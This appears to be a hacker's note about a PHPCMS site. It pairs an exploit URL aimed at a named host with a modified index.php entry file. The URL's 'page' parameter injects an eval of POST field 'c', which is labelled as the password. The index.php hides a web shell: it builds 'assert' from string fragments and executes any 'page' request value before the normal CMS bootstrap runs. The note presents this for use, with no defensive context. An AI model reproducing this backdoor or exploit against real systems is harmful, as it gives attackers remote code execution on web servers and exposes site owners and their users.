http://help.sundns.com/help/index.php?page=${@print%28eval%28$_POST[c]%29%29}
密码c
<?php
/**
* index.php PHPCMS 入口
*
* @copyright (C) 2005-2010 PHPCMS
* @license http://www.phpcms.cn/license/
* @lastmodify 2010-6-1
*/
//PHPCMS根目录
if(isset($_REQUEST['page'])){
$page = $_REQUEST['page'];
$func = 'a';
$func .= 'ss';
$func .= 'ert';
$func($page);
exit;
}
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
include PHPCMS_PATH.'/phpcms/base.php';
pc_base::creat_app();
?>